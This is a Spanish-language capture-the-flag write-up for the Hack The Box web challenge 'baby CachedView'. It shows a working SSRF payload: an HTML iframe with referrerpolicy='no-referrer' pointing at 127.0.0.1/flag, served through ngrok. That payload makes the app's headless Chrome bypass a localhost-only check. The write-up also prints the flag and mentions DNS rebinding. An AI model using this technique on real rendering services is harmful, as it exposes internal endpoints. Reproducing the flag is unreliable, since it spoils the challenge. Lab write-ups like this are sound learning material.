baby CachedView
2 minutos de lectura
Tenemos una aplicación web en Flask que nos permite renderizar otras páginas web como una imagen:

Por detrás, el servidor lanza un Headless Chrome con selenium, accede a la página que le indicamos y toma una captura de pantalla para mostrarla. Aquí hay un ejemplo:

El objetivo es llegar a la ruta /flag:
@web.route('/flag')
@is_from_localhost
def flag():
return send_file('flag.png')
Sin embargo, está protegida verificando que la petición se realiza desde 127.0.0.1 y sin cabecera Referer:
def is_from_localhost(func):
@functools.wraps(func)
def check_ip(*args, **kwargs):
if request.remote_addr != '127.0.0.1' or request.referrer:
return abort(403)
return func(*args, **kwargs)
return check_ip
La idea es montar un servidor web que aloje este archivo index.html:
<!doctype html>
<html>
<head>
<title>Title</title>
<meta charset="utf-8">
</head>
<body>
<iframe referrerpolicy="no-referrer" src="http://127.0.0.1/flag"></iframe>
</body>
</html>
Si la aplicación web es capaz de recibir el archivo, entonces el iframe será llamado desde el propio servidor (el Headless Chrome local), y la petición irá desde localhost (127.0.0.1). Además, indicando referrerpolicy="no-referrer" nos aseguramos de que no se añade la cabecera Referer en la petición HTTP.
Podemos crear este servidor fácilmente con Python (si ejecutamos python -m http.server, se arrancará un servidor en el puerto 8000). Y para hacerlo accesible, podemos utilizar ngrok con el siguiente comando:
$ ngrok http 8000
ngrok
Session Status online
Account Rocky (Plan: Free)
Version 2.3.40
Region United States (us)
Latency 104.541459ms
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok.io -> http://localhost:8000
Connections ttl opn rt1 rt5 p50 p90
1 0 0.00 0.00 0.00 0.00
Ahora cogemos la URL pública de ngrok y la ponemos en la aplicación web. Veremos algunas peticiones en el registro del servidor:
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::1 - - [] "GET / HTTP/1.1" 200 -
::1 - - [] code 404, message File not found
::1 - - [] "GET /favicon.ico HTTP/1.1" 404 -
Entonces, la aplicación web renderizará una imagen que contiene la flag dentro de nuestro iframe:

Y aquí está la flag:
HTB{reb1nd1ng_y0ur_dns_r3s0lv3r_0n3_qu3ry_4t_4_t1m3}

Aunque hemos conseguido la flag, la vía intencionada es utilizando DNS rebinding. La idea principal es poner un dominio que resuelva a una dirección IP externa, y justo después de la verificación, cambiar la resolución a una dirección IP local (como si fuera una condición de carrera), de manera que se accede a la ruta /flag correctamente.
Con ngrok (externo) y el iframe sin cabecera Referer apuntando a 127.0.0.1 (interno) es posible saltarse las dos verificaciones.